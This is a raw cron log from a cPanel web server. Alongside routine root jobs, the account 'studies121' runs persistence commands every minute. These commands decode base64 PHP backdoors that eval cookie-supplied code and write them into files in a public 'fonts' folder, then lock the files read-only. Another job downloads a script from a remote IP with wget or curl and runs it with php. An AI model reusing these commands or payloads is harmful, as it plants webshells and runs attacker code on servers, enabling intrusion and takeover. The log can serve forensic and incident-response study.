Feb 22 12:40:01 ip-184-168-122-23 CROND[14250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:40:01 ip-184-168-122-23 CROND[14253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:40:01 ip-184-168-122-23 CROND[14251]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 12:40:01 ip-184-168-122-23 CROND[14255]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:40:01 ip-184-168-122-23 CROND[14256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:41:01 ip-184-168-122-23 CROND[14663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:41:01 ip-184-168-122-23 CROND[14664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:41:01 ip-184-168-122-23 CROND[14666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:41:01 ip-184-168-122-23 CROND[14667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:42:01 ip-184-168-122-23 CROND[14978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:42:01 ip-184-168-122-23 CROND[14982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:42:01 ip-184-168-122-23 CROND[14979]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:42:01 ip-184-168-122-23 CROND[14980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:42:01 ip-184-168-122-23 CROND[14981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:43:01 ip-184-168-122-23 CROND[15305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:43:01 ip-184-168-122-23 CROND[15307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:43:01 ip-184-168-122-23 CROND[15308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:43:01 ip-184-168-122-23 CROND[15309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:44:01 ip-184-168-122-23 CROND[15626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:44:01 ip-184-168-122-23 CROND[15628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:44:01 ip-184-168-122-23 CROND[15629]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:44:01 ip-184-168-122-23 CROND[15631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:44:01 ip-184-168-122-23 CROND[15630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:45:01 ip-184-168-122-23 CROND[15964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:45:01 ip-184-168-122-23 CROND[15966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:45:01 ip-184-168-122-23 CROND[15967]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 12:45:01 ip-184-168-122-23 CROND[15970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:45:01 ip-184-168-122-23 CROND[15969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:45:01 ip-184-168-122-23 CROND[15968]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 12:45:01 ip-184-168-122-23 CROND[15971]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Feb 22 12:46:01 ip-184-168-122-23 CROND[16297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:46:01 ip-184-168-122-23 CROND[16299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:46:01 ip-184-168-122-23 CROND[16301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:46:01 ip-184-168-122-23 CROND[16305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:46:01 ip-184-168-122-23 CROND[16304]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 12:46:01 ip-184-168-122-23 CROND[16300]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:47:01 ip-184-168-122-23 CROND[16610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:47:01 ip-184-168-122-23 CROND[16612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:47:01 ip-184-168-122-23 CROND[16614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:47:01 ip-184-168-122-23 CROND[16613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:48:01 ip-184-168-122-23 CROND[16996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:48:01 ip-184-168-122-23 CROND[16997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:48:01 ip-184-168-122-23 CROND[16999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:48:01 ip-184-168-122-23 CROND[17001]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:48:01 ip-184-168-122-23 CROND[17000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:49:01 ip-184-168-122-23 CROND[17349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:49:01 ip-184-168-122-23 CROND[17348]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:49:01 ip-184-168-122-23 CROND[17351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:49:01 ip-184-168-122-23 CROND[17350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:50:01 ip-184-168-122-23 CROND[17690]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 12:50:01 ip-184-168-122-23 CROND[17689]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 12:50:01 ip-184-168-122-23 CROND[17694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:50:01 ip-184-168-122-23 CROND[17695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:50:01 ip-184-168-122-23 CROND[17700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:50:01 ip-184-168-122-23 CROND[17698]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 12:50:01 ip-184-168-122-23 CROND[17697]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:50:01 ip-184-168-122-23 CROND[17701]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 12:50:01 ip-184-168-122-23 CROND[17696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:51:01 ip-184-168-122-23 CROND[18033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:51:01 ip-184-168-122-23 CROND[18034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:51:01 ip-184-168-122-23 CROND[18038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:51:01 ip-184-168-122-23 CROND[18039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:52:01 ip-184-168-122-23 CROND[18346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:52:01 ip-184-168-122-23 CROND[18347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
